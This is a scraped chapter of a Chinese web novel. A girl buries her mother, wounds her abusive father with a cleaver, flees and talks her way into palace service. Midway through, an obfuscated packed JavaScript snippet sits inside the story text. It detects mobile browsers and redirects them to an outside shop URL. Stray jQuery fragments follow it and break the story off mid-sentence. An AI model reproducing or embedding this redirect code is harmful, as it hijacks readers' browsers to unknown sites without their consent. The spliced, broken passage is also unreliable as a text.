文趣网 > 其他小说 > 篡佞 > 2. 杀鬼
    窗外人声渐喧,宋浮珂的脸颊贴在娘尚有余温的心口,一瞬间觉得四下空茫,天旋地转。

    或许在这一刻,她的魂魄也跟着娘一起离了体,离开这苦难的尘世了。

    过了许久许久,宋浮珂从床上坐起来。

    她面上什么表情也没有,先帮娘换了一身干净的衣裳,给娘梳好头发,把写她名字的红纸塞到娘心口。碰碰娘的额头,拿着桌上的钱还有那一包绣品推开了家门。

    外头的人凡是见到她的,无不停下手里的活计看她。

    宋浮珂现在实在狼狈。头发蓬乱,眼皮血红肿胀,脸惨白的和鬼一样。

    她对周围目光视若无睹,笔直走到这条街的最末端。

    狭小店面摆满烛火纸钱,中间院子里停着几具的棺材。

    宋浮珂声音粗哑,像砂纸打磨过:“王叔,我娘走了。我来给我娘选棺材。”

    她拿出所有钱财绣品:“都给你,换一具好棺材。”

    围拢过来的街坊邻居听到这话,先是一阵喧哗。随后几个老妈子挤进来把宋浮珂,捧来热乎乎的布巾给宋浮珂擦了脸。

    有人说道:“用个成形的木棺材就好了。孙丫,这些东西是你娘留给你傍身的,莫全花了,你爹那里...哎。”

    “这些钱留给我没用。”宋浮珂面色惨白,眼里却有什么东西浮现探出,尖锐滚烫:“他?他也用不到了。”

    棺材铺王叔是看着宋浮珂长大的。他收了所有的铜板和那半支人参,没要那些绣品。

    而后他从后面用木车子推出来一具窄窄的棺材,不是什么好料子,胜在结实。还搭上些纸钱,一块木板,提笔写了宋春梅的名字。

    宋浮珂说了声谢,细瘦手臂推动木板车,穿过面带唏嘘同情的人群。

    她常年吃不饱饭,虽十二了,看上去不过十岁出头,还没有她娘高。

    但好在她力气大,她娘又只剩骨架子,轻飘飘的。

    她背她刚好。

    她背着娘出门,一步步把娘送到棺材里,往娘身上盖了家里最好的棉被。

    宋浮珂的心又开始撕裂的疼,疑心娘当初生她的时候是不是也这么疼。老天她要还报母亲的生恩,所以定要叫她也疼一遭。

    人死了其实是要哭丧停灵的,可宋浮珂怕孙鬼抢走她娘往后要睡的棺材,没有片刻耽搁。亲自钉死了棺材板又推着木板车,一步步把娘送到城外。

    这条路宋浮珂常走,对周围的山野也十分熟悉。

    她红肿着眼一路往偏僻的地方走,走了快半个时辰,给娘选好了地方,

    一处地势高,背着树木,人际绝踪的平地。周围草木繁盛,眼下虽然枯黄,但等春天来了一定会长满野花。

    她开始挖土,把棺材推进土里,竖起木牌,跪下来重重磕头,眼泪溅入寒冷的泥土。

    宋浮珂闭着通红的眼皮,哽咽道:“娘,你等我。”

    再回到家时已经是中午。

    见到宋浮珂,立即有人提醒:“孙丫,你爹吃醉了,你小心些。”

    压抑在宋浮珂心中许多年的怒火在这一刻破壳,毒辣蓬勃的恨意杀意让她的眼眸雪亮。

    她没说话,转身伸手推开门。

    果然,勃然大怒的孙鬼坐在桌子前,手里拎着木棍,赤红丑陋的眼睛盯着她,逼问:“你买了棺材,把你娘埋了?”

    宋浮珂径直走向柴火灶。

    孙鬼吐口唾沫,暴怒跳起:“小娘皮!你偷老子的钱去买棺材!老子把你卖到窑子里!”

    随着怒骂,他手上的木棍破风朝宋浮珂后脑勺打去!

    宋浮珂猛地转身,手上柴刀寒光闪闪,用了全部力气迎面回抽!

    这一下极重。宋浮珂整条手臂发麻,孙鬼木棍咣当一下掉在了地上。

    他吃了一惊,脸上表情滑稽僵住了,横肉抖动。

    宋浮珂牙齿咬的死紧,手指捏紧刀柄再次朝他砍去,目标明确直奔脖颈。

    孙鬼眼中有了恐惧,挥舞手臂后退躲闪,一下不察跌坐在地。

    宋浮珂脑子里就一个念头。砍下这鬼的头,让他滚下去和娘赔罪。然后她再去死,她和娘就又能在一起了。

    她杀了亲爹,到地府后扒皮抽骨都该受得。但今天她是非杀这鬼不可!

    再高大的男人,手无寸铁面对一把锋锐的柴刀和一双充斥凛冽杀意的眼睛都会害怕的。

    何况孙鬼只是酒囊饭袋,尚且健壮的体魄下只有污浊胆小的心。

    他牙关发颤,在肩头鲜血喷涌出来的那一刻,什么胆气都没了,杀猪般哭喊起来。

    哭叫很快吸引了众多街坊邻居,原本是奔着来救宋浮珂,进门看到血流了孙鬼半个身体,一时间都愣住了,而后又变了方向来劝宋浮珂。

    “孙丫头,快放下刀!”

    “他是你爹呀,杀了他要去坐牢的!”

    宋浮珂不说话。

    她都准备要去死了,还怕做牢?人间法律管不了作恶的人,她只能送他下去给阎王老爷管!

    千钧一发之际,一句话穿透诸多叫喊,径直捅进娘咽气后宋浮珂滚烫浑浊的大脑。

    “傻孩子!你娘辛辛苦苦养你养到这么大,不是让你去死的!她想让你活呢!”

    宋浮珂动作停住了。

    磨得锋锐的刀锋停在孙鬼肩膀上,他整个人抖得和筛子一样,裤.裆.下冒出滚滚黄水。

    宋春梅死前含泪的叮嘱从宋浮珂脑子里冒出来。

    她冷不丁清醒,一颗心像被剜成两半,鲜血淋漓。

    在原地伫立片刻后,宋浮珂忽然泪流满面。

    她扔下柴刀,转身抓起一旁桌上散落的绣品。

    人群自发让开一条路。

    无人阻拦,也无人理会孙鬼的哭嚎。他们目送孙丫,一头扎进外头虚白的天光。

    ·

    宋浮珂一路飞奔,径直来到一道水渠边清洗手上的血迹和泥土。

    激烈情绪尽数消退,她人是木的,唯有眼珠子在转。

    清水掬起扑在脸上,宋浮珂一摸脸,转身去一家衣店卖掉了一半的绣品,又向街上卖字的书生要来一指甲盖大小的木炭。然后再次站到娘泛着泥土味的坟堆前,用木炭仔仔细细在牌位上添上一行小字。

    宋浮珂之慈母。

    这些是她为数不多认识的几个字。

    她不愿再提孙鬼,只说:“娘,我要自己活了。”

    又补了一句:“这里人少,孙鬼找不过来。你在这里待着,我安定下来就来看你。”

    说罢忍不住又掉泪。

    最后给娘磕了头,宋浮珂抱着一小块碎银子和十张绣帕,转身离开。

    宋浮珂不敢在大路上走,脚步一刻不停。

    她不知道孙鬼这会有没有报官,会不会来抓她。

    子杀父是骇人的大罪。不管她是为什么杀孙鬼,不管孙鬼到底该不该死,她要是被抓到了都是要掉脑袋的。

    她胀痛欲裂的脑袋也一刻都不敢停,拼命想着该怎么活下去。

    邺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743713|209173||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    都很大,可赚钱的行当都被人挤得满满的。她又要提防遇孙鬼报官,又要做工挣钱,一时间也想不出要做什么。

    直到她走到邺都最繁华的街道北直街。

    走完这条长街,再往前走就能遇上穿盔甲拿大刀的兵老爷。那是给皇帝守皇宫的。

    皇帝?皇宫?

    宋浮珂一愣,心中忽然有了个想法。脚下一转往一条小巷子里走去。

    越走越安静,周围的房子也好看,都是上好的转头,顶上的青瓦闪闪发亮。

    再往前走,有了点人声。

    果然,三个穿着打扮在宋浮珂眼中极神气的女人站在一朱门口,底下全是些领着孩子的人。有的一个人就领着十来个孩子。

    这些可不是孩子的爹妈,他们是卖人的人牙子。

    而对面正在挑挑拣拣选人的女人也不是一般人。要么是城中官老爷府里的老妈妈,要么是——

    从门后又出来两个男人。身形高瘦,面白无须,说话声音尖尖细细。

    “这月就选四十人,动作快些!”

    宋浮珂听人说过,每月中后旬,宫里会在北直街三口巷角门选宫女太监进宫,伺候贵人。

    寻常人当然不会想做丫鬟太监伺候人。家里再苦,卖于外面官老爷家也差不多,最起码日日都能出府探望爹娘。

    而要是进宫,男的要去势,女的做了宫女,不到二十六岁不能出宫,平日只能于家人书信来往。

    且宫里贵人金尊玉贵,脾气也大,不好伺候。做错事挨打是小,丢了性命也是常有。

    选人的女人估计是宫里的嬷嬷,挑了十来个男孩后开始挑拣女孩。因为看不上一些格外瘦弱病恹的,后面居然有些犯难。

    宫女太监没资格看太医,身体弱的带回去,要是生病了也只能用草席裹了再丢出来,白费功夫。

    宋浮珂站在旁边观察许久。就在这时,她伸手在脸上狠狠揉了几下,迈步直直来到嬷嬷身前。

    她脊背直挺,抿着唇,用水清洗过的面庞苍白到接近透明,面颊因为刚才的挼搓带上些红。

    宋浮珂回想在娘面前的快乐,嘴巴慢慢笑起来,眉毛弯弯。乌黑润泽的眼珠亲近恭顺,瞧上去讨喜又漂亮。

    “大人,”她怯怯地祈求:“我爹娘死了,我会做饭干活,您有好生之德,选我好不好?”

    几个嬷嬷和太监对视。

    一个嬷嬷目光在宋浮珂身上转一圈,觉得这孩子模样好看。衣裳穿的破归破,缝补的阵脚却细密结实,家里人定是疼爱的。于是开口道:“你哪里人?爹娘都死了?没其他亲戚?”

    宋浮珂头回在这么多人注视下撒谎,裤腿掩盖下的脚微微有些发抖。

    她面上越可怜,语气越恭顺,完全看不出半个多时辰前还在举着刀杀爹。

    她道:“我爹采药跌死了,我娘半个月前病死了。在邺都没有旁的亲戚。”

    嬷嬷打量了一圈宋浮珂的脸和红肿的手,想着虽然瘦了些,但看着听话,胆子也大,挥挥手让宋浮珂去到旁边填写入宫的册子。

    写名册的太监问宋浮珂:“爹娘的名字?”

    宋浮珂看着名册上满满的名字,惊异于一个太监,居然和街上清高的不行的秀才书生一样会写字。

    她小声说:“爹叫王五,娘就叫娘,家住城西边的巷子。”

    太监懒得和个孩子掰扯,胡乱填了上去。

    而后又对宋浮珂说:“你从前叫什么也就不重要了,从今往后你在宫里就叫珠欢。”